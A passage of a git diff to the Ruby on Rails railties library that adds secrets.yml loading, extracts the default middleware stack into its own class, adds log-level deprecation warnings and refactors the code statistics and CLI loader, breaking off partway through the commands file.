@@ -160,11 +258,49 @@ module Rails
"action_dispatch.http_auth_salt" => config.action_dispatch.http_auth_salt,
"action_dispatch.signed_cookie_salt" => config.action_dispatch.signed_cookie_salt,
"action_dispatch.encrypted_cookie_salt" => config.action_dispatch.encrypted_cookie_salt,
- "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt
+ "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt,
+ "action_dispatch.cookies_serializer" => config.action_dispatch.cookies_serializer,
+ "action_dispatch.cookies_digest" => config.action_dispatch.cookies_digest
})
end
end
+ # If you try to define a set of rake tasks on the instance, these will get
+ # passed up to the rake tasks defined on the application's class.
+ def rake_tasks(&block)
+ self.class.rake_tasks(&block)
+ end
+
+ # Sends the initializers to the +initializer+ method defined in the
+ # Rails::Initializable module. Each Rails::Application class has its own
+ # set of initializers, as defined by the Initializable module.
+ def initializer(name, opts={}, &block)
+ self.class.initializer(name, opts, &block)
+ end
+
+ # Sends any runner called in the instance of a new application up
+ # to the +runner+ method defined in Rails::Railtie.
+ def runner(&blk)
+ self.class.runner(&blk)
+ end
+
+ # Sends any console called in the instance of a new application up
+ # to the +console+ method defined in Rails::Railtie.
+ def console(&blk)
+ self.class.console(&blk)
+ end
+
+ # Sends any generators called in the instance of a new application up
+ # to the +generators+ method defined in Rails::Railtie.
+ def generators(&blk)
+ self.class.generators(&blk)
+ end
+
+ # Sends the +isolate_namespace+ method up to the class method.
+ def isolate_namespace(mod)
+ self.class.isolate_namespace(mod)
+ end
+
## Rails internal API
# This method is called just after an application inherits from Rails::Application,
@@ -180,9 +316,11 @@ module Rails
# are changing config.root inside your application definition or having a custom
# Rails application, you will need to add lib to $LOAD_PATH on your own in case
# you need to load files in lib/ during the application configuration as well.
- def add_lib_to_load_path! #:nodoc:
- path = File.join config.root, 'lib'
- $LOAD_PATH.unshift(path) if File.exists?(path)
+ def self.add_lib_to_load_path!(root) #:nodoc:
+ path = File.join root, 'lib'
+ if File.exist?(path) && !$LOAD_PATH.include?(path)
+ $LOAD_PATH.unshift(path)
+ end
end
def require_environment! #:nodoc:
@@ -208,9 +346,7 @@ module Rails
end
# Initialize the application passing the given group. By default, the
- # group is :default but sprockets precompilation passes group equals
- # to assets if initialize_on_precompile is false to avoid booting the
- # whole app.
+ # group is :default
def initialize!(group=:default) #:nodoc:
raise "Application has been already initialized." if @initialized
run_initializers(group, self)
@@ -225,11 +361,35 @@ module Rails
end
def config #:nodoc:
- @config ||= Application::Configuration.new(find_root_with_flag("config.ru", Dir.pwd))
+ @config ||= Application::Configuration.new(self.class.find_root(self.class.called_from))
end
- def queue #:nodoc:
- @queue ||= config.queue || ActiveSupport::Queue.new
+ def config=(configuration) #:nodoc:
+ @config = configuration
+ end
+
+ def secrets #:nodoc:
+ @secrets ||= begin
+ secrets = ActiveSupport::OrderedOptions.new
+ yaml = config.paths["config/secrets"].first
+ if File.exist?(yaml)
+ require "erb"
+ all_secrets = YAML.load(ERB.new(IO.read(yaml)).result) || {}
+ env_secrets = all_secrets[Rails.env]
+ secrets.merge!(env_secrets.symbolize_keys) if env_secrets
+ end
+
+ # Fallback to config.secret_key_base if secrets.secret_key_base isn't set
+ secrets.secret_key_base ||= config.secret_key_base
+ # Fallback to config.secret_token if secrets.secret_token isn't set
+ secrets.secret_token ||= config.secret_token
+
+ secrets
+ end
+ end
+
+ def secrets=(secrets) #:nodoc:
+ @secrets = secrets
end
def to_app #:nodoc:
@@ -240,9 +400,33 @@ module Rails
config.helpers_paths
end
- def railties #:nodoc:
- @railties ||= Rails::Railtie.subclasses.map(&:instance) +
- Rails::Engine.subclasses.map(&:instance)
+ console do
+ require "pp"
+ end
+
+ console do
+ unless ::Kernel.private_method_defined?(:y)
+ if RUBY_VERSION >= '2.0'
+ require "psych/y"
+ else
+ module ::Kernel
+ def y(*objects)
+ puts ::Psych.dump_stream(*objects)
+ end
+ private :y
+ end
+ end
+ end
+ end
+
+ # Return an array of railties respecting the order they're loaded
+ # and the order specified by the +railties_order+ config.
+ #
+ # While when running initializers we need engines in reverse
+ # order here when copying migrations from railties we need then in the same
+ # order as given by +railties_order+
+ def migration_railties # :nodoc:
+ ordered_railties.flatten - [self]
end
protected
@@ -253,9 +437,9 @@ module Rails
railties.each { |r| r.run_tasks_blocks(app) }
super
require "rails/tasks"
- config = self.config
task :environment do
- config.eager_load = false
+ ActiveSupport.on_load(:before_initialize) { config.eager_load = false }
+
require_environment!
end
end
@@ -294,13 +478,13 @@ module Rails
index = order.index(:all)
order[index] = all
- order.reverse.flatten
+ order
end
end
def railties_initializers(current) #:nodoc:
initializers = []
- ordered_railties.each do |r|
+ ordered_railties.reverse.flatten.each do |r|
if r == self
initializers += current
else
@@ -310,78 +494,9 @@ module Rails
initializers
end
- def reload_dependencies? #:nodoc:
- config.reload_classes_only_on_change != true || reloaders.map(&:updated?).any?
- end
-
def default_middleware_stack #:nodoc:
- ActionDispatch::MiddlewareStack.new.tap do |middleware|
- app = self
- if rack_cache = config.action_dispatch.rack_cache
- begin
- require 'rack/cache'
- rescue LoadError => error
- error.message << ' Be sure to add rack-cache to your Gemfile'
- raise
- end
-
- if rack_cache == true
- rack_cache = {
- metastore: "rails:/",
- entitystore: "rails:/",
- verbose: false
- }
- end
-
- require "action_dispatch/http/rack_cache"
- middleware.use ::Rack::Cache, rack_cache
- end
-
- if config.force_ssl
- middleware.use ::ActionDispatch::SSL, config.ssl_options
- end
-
- if config.action_dispatch.x_sendfile_header.present?
- middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
- end
-
- if config.serve_static_assets
- middleware.use ::ActionDispatch::Static, paths["public"].first, config.static_cache_control
- end
-
- middleware.use ::Rack::Lock unless config.cache_classes
- middleware.use ::Rack::Runtime
- middleware.use ::Rack::MethodOverride
- middleware.use ::ActionDispatch::RequestId
- middleware.use ::Rails::Rack::Logger, config.log_tags # must come after Rack::MethodOverride to properly log overridden methods
- middleware.use ::ActionDispatch::ShowExceptions, config.exceptions_app || ActionDispatch::PublicExceptions.new(Rails.public_path)
- middleware.use ::ActionDispatch::DebugExceptions, app
- middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies
-
- unless config.cache_classes
- middleware.use ::ActionDispatch::Reloader, lambda { app.reload_dependencies? }
- end
-
- middleware.use ::ActionDispatch::Callbacks
- middleware.use ::ActionDispatch::Cookies
-
- if config.session_store
- if config.force_ssl && !config.session_options.key?(:secure)
- config.session_options[:secure] = true
- end
- middleware.use config.session_store, config.session_options
- middleware.use ::ActionDispatch::Flash
- end
-
- middleware.use ::ActionDispatch::ParamsParser
- middleware.use ::Rack::Head
- middleware.use ::Rack::ConditionalGet
- middleware.use ::Rack::ETag, "no-cache"
-
- if config.action_dispatch.best_standards_support
- middleware.use ::ActionDispatch::BestStandardsSupport, config.action_dispatch.best_standards_support
- end
- end
+ default_stack = DefaultMiddlewareStack.new(self, config, paths)
+ default_stack.build_stack
end
def build_original_fullpath(env) #:nodoc:
@@ -395,5 +510,16 @@ module Rails
"#{script_name}#{path_info}"
end
end
+
+ def validate_secret_key_config! #:nodoc:
+ if secrets.secret_key_base.blank?
+ ActiveSupport::Deprecation.warn "You didn't set `secret_key_base`. " +
+ "Read the upgrade documentation to learn more about this new config option."
+
+ if secrets.secret_token.blank?
+ raise "Missing `secret_token` and `secret_key_base` for '#{Rails.env}' environment, set these values in `config/secrets.yml`"
+ end
+ end
+ end
end
end
diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb
index 62d57c0cc6..71d3febde4 100644
--- a/railties/lib/rails/application/bootstrap.rb
+++ b/railties/lib/rails/application/bootstrap.rb
@@ -1,5 +1,6 @@
require "active_support/notifications"
require "active_support/dependencies"
+require "active_support/deprecation"
require "active_support/descendants_tracker"
module Rails
@@ -42,17 +43,31 @@ INFO
logger = ActiveSupport::Logger.new f
logger.formatter = config.log_formatter
logger = ActiveSupport::TaggedLogging.new(logger)
- logger.level = ActiveSupport::Logger.const_get(config.log_level.to_s.upcase)
logger
rescue StandardError
logger = ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDERR))
logger.level = ActiveSupport::Logger::WARN
logger.warn(
- "Rails Error: Unable to access log file. Please ensure that #{path} exists and is chmod 0666. " +
+ "Rails Error: Unable to access log file. Please ensure that #{path} exists and is writable " +
+ "(ie, make it writable for user and group: chmod 0664 #{path}). " +
"The log level has been raised to WARN and the output directed to STDERR until the problem is fixed."
)
logger
end
+
+ if Rails.env.production? && !config.has_explicit_log_level?
+ ActiveSupport::Deprecation.warn \
+ "You did not specify a `log_level` in `production.rb`. Currently, " \
+ "the default value for `log_level` is `:info` for the production " \
+ "environment and `:debug` in all other environments. In Rails 5 " \
+ "the default value will be unified to `:debug` across all " \
+ "environments. To preserve the current setting, add the following " \
+ "line to your `production.rb`:\n" \
+ "\n" \
+ " config.log_level = :info\n\n"
+ end
+
+ Rails.logger.level = ActiveSupport::Logger.const_get(config.log_level.to_s.upcase)
end
# Initialize cache early in the stack so railties can make use of it.
diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb
index f15fc9296d..268ef2c7aa 100644
--- a/railties/lib/rails/application/configuration.rb
+++ b/railties/lib/rails/application/configuration.rb
@@ -1,26 +1,26 @@
require 'active_support/core_ext/kernel/reporting'
require 'active_support/file_update_checker'
-require 'active_support/queueing'
require 'rails/engine/configuration'
+require 'rails/source_annotation_extractor'
module Rails
class Application
class Configuration < ::Rails::Engine::Configuration
- attr_accessor :asset_host, :assets, :autoflush_log,
+ attr_accessor :allow_concurrency, :asset_host, :assets, :autoflush_log,
:cache_classes, :cache_store, :consider_all_requests_local, :console,
:eager_load, :exceptions_app, :file_watcher, :filter_parameters,
:force_ssl, :helpers_paths, :logger, :log_formatter, :log_tags,
:railties_order, :relative_url_root, :secret_key_base, :secret_token,
:serve_static_assets, :ssl_options, :static_cache_control, :session_options,
:time_zone, :reload_classes_only_on_change,
- :queue, :queue_consumer, :beginning_of_week, :filter_redirect
+ :beginning_of_week, :filter_redirect, :x
- attr_writer :log_level
attr_reader :encoding
def initialize(*)
super
self.encoding = "utf-8"
+ @allow_concurrency = nil
@consider_all_requests_local = false
@filter_parameters = []
@filter_redirect = []
@@ -33,6 +33,7 @@ module Rails
@session_options = {}
@time_zone = "UTC"
@beginning_of_week = :monday
+ @has_explicit_log_level = false
@log_level = nil
@middleware = app_middleware
@generators = app_generators
@@ -44,26 +45,24 @@ module Rails
@exceptions_app = nil
@autoflush_log = true
@log_formatter = ActiveSupport::Logger::SimpleFormatter.new
- @queue = ActiveSupport::SynchronousQueue.new
- @queue_consumer = nil
@eager_load = nil
@secret_token = nil
@secret_key_base = nil
+ @x = Custom.new
@assets = ActiveSupport::OrderedOptions.new
- @assets.enabled = false
+ @assets.enabled = true
@assets.paths = []
@assets.precompile = [ Proc.new { |path, fn| fn =~ /app\/assets/ && !%w(.js .css).include?(File.extname(path)) },
/(?:\/|\\|\A)application\.(css|js)$/ ]
@assets.prefix = "/assets"
- @assets.version = ''
+ @assets.version = '1.0'
@assets.debug = false
@assets.compile = true
@assets.digest = false
@assets.cache_store = [ :file_store, "#{root}/tmp/cache/assets/#{Rails.env}/" ]
@assets.js_compressor = nil
@assets.css_compressor = nil
- @assets.initialize_on_precompile = true
@assets.logger = nil
end
@@ -79,6 +78,7 @@ module Rails
@paths ||= begin
paths = super
paths.add "config/database", with: "config/database.yml"
+ paths.add "config/secrets", with: "config/secrets.yml"
paths.add "config/environment", with: "config/environment.rb"
paths.add "lib/templates"
paths.add "log", with: "log/#{Rails.env}.log"
@@ -90,30 +90,44 @@ module Rails
end
end
- def threadsafe!
- message = "config.threadsafe! is deprecated. Rails applications " \
- "behave by default as thread safe in production as long as config.cache_classes and " \
- "config.eager_load are set to true"
- ActiveSupport::Deprecation.warn message
- @cache_classes = true
- @eager_load = true
- self
- end
-
- # Loads and returns the contents of the #database_configuration_file. The
- # contents of the file are processed via ERB before being sent through
- # YAML::load.
+ # Loads and returns the entire raw configuration of database from
+ # values stored in `config/database.yml`.
def database_configuration
- require 'erb'
- YAML.load ERB.new(IO.read(paths["config/database"].first)).result
+ path = paths["config/database"].existent.first
+ yaml = Pathname.new(path) if path
+
+ config = if yaml && yaml.exist?
+ require "yaml"
+ require "erb"
+ YAML.load(ERB.new(yaml.read).result) || {}
+ elsif ENV['DATABASE_URL']
+ # Value from ENV['DATABASE_URL'] is set to default database connection
+ # by Active Record.
+ {}
+ else
+ raise "Could not load database configuration. No such file - #{paths["config/database"].instance_variable_get(:@paths)}"
+ end
+
+ config
rescue Psych::SyntaxError => e
raise "YAML syntax error occurred while parsing #{paths["config/database"].first}. " \
"Please note that YAML must be consistently indented using spaces. Tabs are not allowed. " \
"Error: #{e.message}"
+ rescue => e
+ raise e, "Cannot load `Rails.application.database_configuration`:\n#{e.message}", e.backtrace
+ end
+
+ def has_explicit_log_level? # :nodoc:
+ @has_explicit_log_level
+ end
+
+ def log_level=(level)
+ @has_explicit_log_level = !!(level)
+ @log_level = level
end
def log_level
- @log_level ||= Rails.env.production? ? :info : :debug
+ @log_level ||= (Rails.env.production? ? :info : :debug)
end
def colorize_logging
@@ -148,9 +162,26 @@ module Rails
end
end
- def whiny_nils=(*)
- ActiveSupport::Deprecation.warn "config.whiny_nils option is deprecated and no longer works"
+ def annotations
+ SourceAnnotationExtractor::Annotation
end
+
+ private
+ class Custom #:nodoc:
+ def initialize
+ @configurations = Hash.new
+ end
+
+ def method_missing(method, *args)
+ if method =~ /=$/
+ @configurations[$`.to_sym] = args.first
+ else
+ @configurations.fetch(method) {
+ @configurations[method] = ActiveSupport::OrderedOptions.new
+ }
+ end
+ end
+ end
end
end
end
diff --git a/railties/lib/rails/application/default_middleware_stack.rb b/railties/lib/rails/application/default_middleware_stack.rb
new file mode 100644
index 0000000000..d1789192ef
--- /dev/null
+++ b/railties/lib/rails/application/default_middleware_stack.rb
@@ -0,0 +1,103 @@
+module Rails
+ class Application
+ class DefaultMiddlewareStack
+ attr_reader :config, :paths, :app
+
+ def initialize(app, config, paths)
+ @app = app
+ @config = config
+ @paths = paths
+ end
+
+ def build_stack
+ ActionDispatch::MiddlewareStack.new.tap do |middleware|
+ if config.force_ssl
+ middleware.use ::ActionDispatch::SSL, config.ssl_options
+ end
+
+ middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
+
+ if config.serve_static_assets
+ middleware.use ::ActionDispatch::Static, paths["public"].first, config.static_cache_control
+ end
+
+ if rack_cache = load_rack_cache
+ require "action_dispatch/http/rack_cache"
+ middleware.use ::Rack::Cache, rack_cache
+ end
+
+ middleware.use ::Rack::Lock unless allow_concurrency?
+ middleware.use ::Rack::Runtime
+ middleware.use ::Rack::MethodOverride
+ middleware.use ::ActionDispatch::RequestId
+
+ # Must come after Rack::MethodOverride to properly log overridden methods
+ middleware.use ::Rails::Rack::Logger, config.log_tags
+ middleware.use ::ActionDispatch::ShowExceptions, show_exceptions_app
+ middleware.use ::ActionDispatch::DebugExceptions, app
+ middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies
+
+ unless config.cache_classes
+ middleware.use ::ActionDispatch::Reloader, lambda { reload_dependencies? }
+ end
+
+ middleware.use ::ActionDispatch::Callbacks
+ middleware.use ::ActionDispatch::Cookies
+
+ if config.session_store
+ if config.force_ssl && !config.session_options.key?(:secure)
+ config.session_options[:secure] = true
+ end
+ middleware.use config.session_store, config.session_options
+ middleware.use ::ActionDispatch::Flash
+ end
+
+ middleware.use ::ActionDispatch::ParamsParser
+ middleware.use ::Rack::Head
+ middleware.use ::Rack::ConditionalGet
+ middleware.use ::Rack::ETag, "no-cache"
+ end
+ end
+
+ private
+
+ def reload_dependencies?
+ config.reload_classes_only_on_change != true || app.reloaders.map(&:updated?).any?
+ end
+
+ def allow_concurrency?
+ if config.allow_concurrency.nil?
+ config.cache_classes && config.eager_load
+ else
+ config.allow_concurrency
+ end
+ end
+
+ def load_rack_cache
+ rack_cache = config.action_dispatch.rack_cache
+ return unless rack_cache
+
+ begin
+ require 'rack/cache'
+ rescue LoadError => error
+ error.message << ' Be sure to add rack-cache to your Gemfile'
+ raise
+ end
+
+ if rack_cache == true
+ {
+ metastore: "rails:/",
+ entitystore: "rails:/",
+ verbose: false
+ }
+ else
+ rack_cache
+ end
+ end
+
+ def show_exceptions_app
+ config.exceptions_app || ActionDispatch::PublicExceptions.new(Rails.public_path)
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/application/finisher.rb b/railties/lib/rails/application/finisher.rb
index 09902ad597..7a1bb1e25c 100644
--- a/railties/lib/rails/application/finisher.rb
+++ b/railties/lib/rails/application/finisher.rb
@@ -62,17 +62,28 @@ module Rails
ActiveSupport.run_load_hooks(:after_initialize, self)
end
- # Set app reload just after the finisher hook to ensure
- # routes added in the hook are still loaded.
+ # Set routes reload after the finisher hook to ensure routes added in
+ # the hook are taken into account.
initializer :set_routes_reloader_hook do
reloader = routes_reloader
reloader.execute_if_updated
self.reloaders << reloader
- ActionDispatch::Reloader.to_prepare { reloader.execute_if_updated }
+ ActionDispatch::Reloader.to_prepare do
+ # We configure #execute rather than #execute_if_updated because if
+ # autoloaded constants are cleared we need to reload routes also in
+ # case any was used there, as in
+ #
+ # mount MailPreview => 'mail_view'
+ #
+ # This means routes are also reloaded if i18n is updated, which
+ # might not be necessary, but in order to be more precise we need
+ # some sort of reloaders dependency support, to be added.
+ reloader.execute
+ end
end
- # Set app reload just after the finisher hook to ensure
- # paths added in the hook are still loaded.
+ # Set clearing dependencies after the finisher hook to ensure paths
+ # added in the hook are taken into account.
initializer :set_clear_dependencies_hook, group: :all do
callback = lambda do
ActiveSupport::DescendantsTracker.clear
@@ -82,29 +93,21 @@ module Rails
if config.reload_classes_only_on_change
reloader = config.file_watcher.new(*watchable_args, &callback)
self.reloaders << reloader
- # We need to set a to_prepare callback regardless of the reloader result, i.e.
- # models should be reloaded if any of the reloaders (i18n, routes) were updated.
- ActionDispatch::Reloader.to_prepare(prepend: true){ reloader.execute }
+
+ # Prepend this callback to have autoloaded constants cleared before
+ # any other possible reloading, in case they need to autoload fresh
+ # constants.
+ ActionDispatch::Reloader.to_prepare(prepend: true) do
+ # In addition to changes detected by the file watcher, if routes
+ # or i18n have been updated we also need to clear constants,
+ # that's why we run #execute rather than #execute_if_updated, this
+ # callback has to clear autoloaded constants after any update.
+ reloader.execute
+ end
else
ActionDispatch::Reloader.to_cleanup(&callback)
end
end
-
- # Disable dependency loading during request cycle
- initializer :disable_dependency_loading do
- if config.eager_load && config.cache_classes
- ActiveSupport::Dependencies.unhook!
- end
- end
-
- initializer :activate_queue_consumer do |app|
- if config.queue.class == ActiveSupport::Queue
- app.queue_consumer = config.queue_consumer || config.queue.consumer
- app.queue_consumer.logger ||= Rails.logger if app.queue_consumer.respond_to?(:logger=)
- app.queue_consumer.start
- at_exit { app.queue_consumer.shutdown }
- end
- end
end
end
end
diff --git a/railties/lib/rails/application/routes_reloader.rb b/railties/lib/rails/application/routes_reloader.rb
index 737977adf9..cf0a4e128f 100644
--- a/railties/lib/rails/application/routes_reloader.rb
+++ b/railties/lib/rails/application/routes_reloader.rb
@@ -41,9 +41,7 @@ module Rails
end
def finalize!
- route_sets.each do |routes|
- routes.finalize!
- end
+ route_sets.each(&:finalize!)
end
def revert
diff --git a/railties/lib/rails/application_controller.rb b/railties/lib/rails/application_controller.rb
new file mode 100644
index 0000000000..9a29ec21cf
--- /dev/null
+++ b/railties/lib/rails/application_controller.rb
@@ -0,0 +1,16 @@
+class Rails::ApplicationController < ActionController::Base # :nodoc:
+ self.view_paths = File.expand_path('../templates', __FILE__)
+ layout 'application'
+
+ protected
+
+ def require_local!
+ unless local_request?
+ render text: '<p>For security purposes, this information is only available to local requests.</p>', status: :forbidden
+ end
+ end
+
+ def local_request?
+ Rails.application.config.consider_all_requests_local || request.local?
+ end
+end
diff --git a/railties/lib/rails/backtrace_cleaner.rb b/railties/lib/rails/backtrace_cleaner.rb
index 8cc8eb1103..5276eb33c9 100644
--- a/railties/lib/rails/backtrace_cleaner.rb
+++ b/railties/lib/rails/backtrace_cleaner.rb
@@ -4,12 +4,16 @@ module Rails
class BacktraceCleaner < ActiveSupport::BacktraceCleaner
APP_DIRS_PATTERN = /^\/?(app|config|lib|test)/
RENDER_TEMPLATE_PATTERN = /:in `_render_template_\w*'/
+ EMPTY_STRING = ''.freeze
+ SLASH = '/'.freeze
+ DOT_SLASH = './'.freeze
def initialize
super
- add_filter { |line| line.sub("#{Rails.root}/", '') }
- add_filter { |line| line.sub(RENDER_TEMPLATE_PATTERN, '') }
- add_filter { |line| line.sub('./', '/') } # for tests
+ @root = "#{Rails.root}/".freeze
+ add_filter { |line| line.sub(@root, EMPTY_STRING) }
+ add_filter { |line| line.sub(RENDER_TEMPLATE_PATTERN, EMPTY_STRING) }
+ add_filter { |line| line.sub(DOT_SLASH, SLASH) } # for tests
add_gem_filters
add_silencer { |line| line !~ APP_DIRS_PATTERN }
@@ -21,7 +25,8 @@ module Rails
return if gems_paths.empty?
gems_regexp = %r{(#{gems_paths.join('|')})/gems/([^/]+)-([\w.]+)/(.*)}
- add_filter { |line| line.sub(gems_regexp, '\2 (\3) \4') }
+ gems_result = '\2 (\3) \4'.freeze
+ add_filter { |line| line.sub(gems_regexp, gems_result) }
end
end
end
diff --git a/railties/lib/rails/cli.rb b/railties/lib/rails/cli.rb
index 443d6f47ad..dd70c272c6 100644
--- a/railties/lib/rails/cli.rb
+++ b/railties/lib/rails/cli.rb
@@ -1,16 +1,15 @@
-require 'rbconfig'
-require 'rails/script_rails_loader'
+require 'rails/app_rails_loader'
# If we are inside a Rails application this method performs an exec and thus
# the rest of this script is not run.
-Rails::ScriptRailsLoader.exec_script_rails!
+Rails::AppRailsLoader.exec_app_rails
require 'rails/ruby_version_check'
Signal.trap("INT") { puts; exit(1) }
if ARGV.first == 'plugin'
ARGV.shift
- require 'rails/commands/plugin_new'
+ require 'rails/commands/plugin'
else
require 'rails/commands/application'
end
diff --git a/railties/lib/rails/code_statistics.rb b/railties/lib/rails/code_statistics.rb
index 039360fcf6..27779857b7 100644
--- a/railties/lib/rails/code_statistics.rb
+++ b/railties/lib/rails/code_statistics.rb
@@ -1,9 +1,12 @@
+require 'rails/code_statistics_calculator'
+
class CodeStatistics #:nodoc:
TEST_TYPES = ['Controller tests',
'Helper tests',
'Model tests',
'Mailer tests',
+ 'Job tests',
'Integration tests',
'Functional tests (old)',
'Unit tests (old)']
@@ -33,64 +36,38 @@ class CodeStatistics #:nodoc:
end
def calculate_directory_statistics(directory, pattern = /.*\.(rb|js|coffee)$/)
- stats = { "lines" => 0, "codelines" => 0, "classes" => 0, "methods" => 0 }
+ stats = CodeStatisticsCalculator.new
Dir.foreach(directory) do |file_name|
- if File.directory?(directory + "/" + file_name) and (/^\./ !~ file_name)
- newstats = calculate_directory_statistics(directory + "/" + file_name, pattern)
- stats.each { |k, v| stats[k] += newstats[k] }
+ path = "#{directory}/#{file_name}"
+
+ if File.directory?(path) && (/^\./ !~ file_name)
+ stats.add(calculate_directory_statistics(path, pattern))
end
next unless file_name =~ pattern
- comment_started = false
-
- case file_name
- when /.*\.js$/
- comment_pattern = /^\s*\/\//
- else
- comment_pattern = /^\s*#/
- end
-
- File.open(directory + "/" + file_name) do |f|
- while line = f.gets
- stats["lines"] += 1
- if(comment_started)
- if line =~ /^=end/
- comment_started = false
- end
- next
- else
- if line =~ /^=begin/
- comment_started = true
- next
- end
- end
- stats["classes"] += 1 if line =~ /^\s*class\s+[_A-Z]/
- stats["methods"] += 1 if line =~ /^\s*def\s+[_a-z]/
- stats["codelines"] += 1 unless line =~ /^\s*$/ || line =~ comment_pattern
- end
- end
+ stats.add_by_file_path(path)
end
stats
end
def calculate_total
- total = { "lines" => 0, "codelines" => 0, "classes" => 0, "methods" => 0 }
- @statistics.each_value { |pair| pair.each { |k, v| total[k] += v } }
- total
+ @statistics.each_with_object(CodeStatisticsCalculator.new) do |pair, total|
+ total.add(pair.last)
+ end
end
def calculate_code
code_loc = 0
- @statistics.each { |k, v| code_loc += v['codelines'] unless TEST_TYPES.include? k }
+ @statistics.each { |k, v| code_loc += v.code_lines unless TEST_TYPES.include? k }
code_loc
end
def calculate_tests
test_loc = 0
- @statistics.each { |k, v| test_loc += v['codelines'] if TEST_TYPES.include? k }
+ @statistics.each { |k, v| test_loc += v.code_lines if TEST_TYPES.include? k }
test_loc
end
@@ -105,15 +82,15 @@ class CodeStatistics #:nodoc:
end
def print_line(name, statistics)
- m_over_c = (statistics["methods"] / statistics["classes"]) rescue m_over_c = 0
- loc_over_m = (statistics["codelines"] / statistics["methods"]) - 2 rescue loc_over_m = 0
-
- puts "| #{name.ljust(20)} " +
- "| #{statistics["lines"].to_s.rjust(5)} " +
- "| #{statistics["codelines"].to_s.rjust(5)} " +
- "| #{statistics["classes"].to_s.rjust(7)} " +
- "| #{statistics["methods"].to_s.rjust(7)} " +
- "| #{m_over_c.to_s.rjust(3)} " +
+ m_over_c = (statistics.methods / statistics.classes) rescue m_over_c = 0
+ loc_over_m = (statistics.code_lines / statistics.methods) - 2 rescue loc_over_m = 0
+
+ puts "| #{name.ljust(20)} " \
+ "| #{statistics.lines.to_s.rjust(5)} " \
+ "| #{statistics.code_lines.to_s.rjust(5)} " \
+ "| #{statistics.classes.to_s.rjust(7)} " \
+ "| #{statistics.methods.to_s.rjust(7)} " \
+ "| #{m_over_c.to_s.rjust(3)} " \
"| #{loc_over_m.to_s.rjust(5)} |"
end
diff --git a/railties/lib/rails/code_statistics_calculator.rb b/railties/lib/rails/code_statistics_calculator.rb
new file mode 100644
index 0000000000..60e4aef9b7
--- /dev/null
+++ b/railties/lib/rails/code_statistics_calculator.rb
@@ -0,0 +1,79 @@
+class CodeStatisticsCalculator #:nodoc:
+ attr_reader :lines, :code_lines, :classes, :methods
+
+ PATTERNS = {
+ rb: {
+ line_comment: /^\s*#/,
+ begin_block_comment: /^=begin/,
+ end_block_comment: /^=end/,
+ class: /^\s*class\s+[_A-Z]/,
+ method: /^\s*def\s+[_a-z]/,
+ },
+ js: {
+ line_comment: %r{^\s*//},
+ begin_block_comment: %r{^\s*/\*},
+ end_block_comment: %r{\*/},
+ method: /function(\s+[_a-zA-Z][\da-zA-Z]*)?\s*\(/,
+ },
+ coffee: {
+ line_comment: /^\s*#/,
+ begin_block_comment: /^\s*###/,
+ end_block_comment: /^\s*###/,
+ class: /^\s*class\s+[_A-Z]/,
+ method: /[-=]>/,
+ }
+ }
+
+ def initialize(lines = 0, code_lines = 0, classes = 0, methods = 0)
+ @lines = lines
+ @code_lines = code_lines
+ @classes = classes
+ @methods = methods
+ end
+
+ def add(code_statistics_calculator)
+ @lines += code_statistics_calculator.lines
+ @code_lines += code_statistics_calculator.code_lines
+ @classes += code_statistics_calculator.classes
+ @methods += code_statistics_calculator.methods
+ end
+
+ def add_by_file_path(file_path)
+ File.open(file_path) do |f|
+ self.add_by_io(f, file_type(file_path))
+ end
+ end
+
+ def add_by_io(io, file_type)
+ patterns = PATTERNS[file_type] || {}
+
+ comment_started = false
+
+ while line = io.gets
+ @lines += 1
+
+ if comment_started
+ if patterns[:end_block_comment] && line =~ patterns[:end_block_comment]
+ comment_started = false
+ end
+ next
+ else
+ if patterns[:begin_block_comment] && line =~ patterns[:begin_block_comment]
+ comment_started = true
+ next
+ end
+ end
+
+ @classes += 1 if patterns[:class] && line =~ patterns[:class]
+ @methods += 1 if patterns[:method] && line =~ patterns[:method]
+ if line !~ /^\s*$/ && (patterns[:line_comment].nil? || line !~ patterns[:line_comment])
+ @code_lines += 1
+ end
+ end
+ end
+
+ private
+ def file_type(file_path)
+ File.extname(file_path).sub(/\A\./, '').downcase.to_sym
+ end
+end
diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb
index 3ab2a3809e..f32bf772a5 100644
--- a/railties/lib/rails/commands.rb
+++ b/railties/lib/rails/commands.rb
@@ -9,110 +9,9 @@ aliases = {
"r" => "runner"
}
-help_message = <<-EOT
-Usage: rails COMMAND [ARGS]
-
-The most common rails commands are:
- generate Generate new code (short-cut alias: "g")
- console Start the Rails console (short-cut alias: "c")
- server Start the Rails server (short-cut alias: "s")
- dbconsole Start a console for the database specified in config/database.yml
- (short-cut alias: "db")
- new Create a new Rails application. "rails new my_app" creates a
- new application called MyApp in "./my_app"
-
-In addition to those, there are:
- application Generate the Rails application code
- destroy Undo code generated with "generate" (short-cut alias: "d")
- benchmarker See how fast a piece of code runs
- profiler Get profile information from a piece of code
- plugin new Generates skeleton for developing a Rails plugin
- runner Run a piece of code in the application environment (short-cut alias: "r")
-
-All commands can be run with -h (or --help) for more information.
-EOT
-
-
command = ARGV.shift
command = aliases[command] || command
-case command
-when 'generate', 'destroy', 'plugin'
- require 'rails/generators'
-
- if command == 'plugin' && ARGV.first == 'new'
- require "rails/commands/plugin_new"
- else
- require APP_PATH
- Rails.application.require_environment!
-
- Rails.application.load_generators
-
- require "rails/commands/#{command}"
- end
-
-when 'benchmarker', 'profiler'
- require APP_PATH
- Rails.application.require_environment!
- require "rails/commands/#{command}"
-
-when 'console'
- require 'rails/commands/console'
- options = Rails::Console.parse_arguments(ARGV)
-
- # RAILS_ENV needs to be set before config/application is required
- ENV['RAILS_ENV'] = options[:environment] if options[:environment]
-
- # shift ARGV so IRB doesn't freak
- ARGV.shift if ARGV.first && ARGV.first[0] != '-'
-
- require APP_PATH
- Rails.application.require_environment!
- Rails::Console.start(Rails.application, options)
-
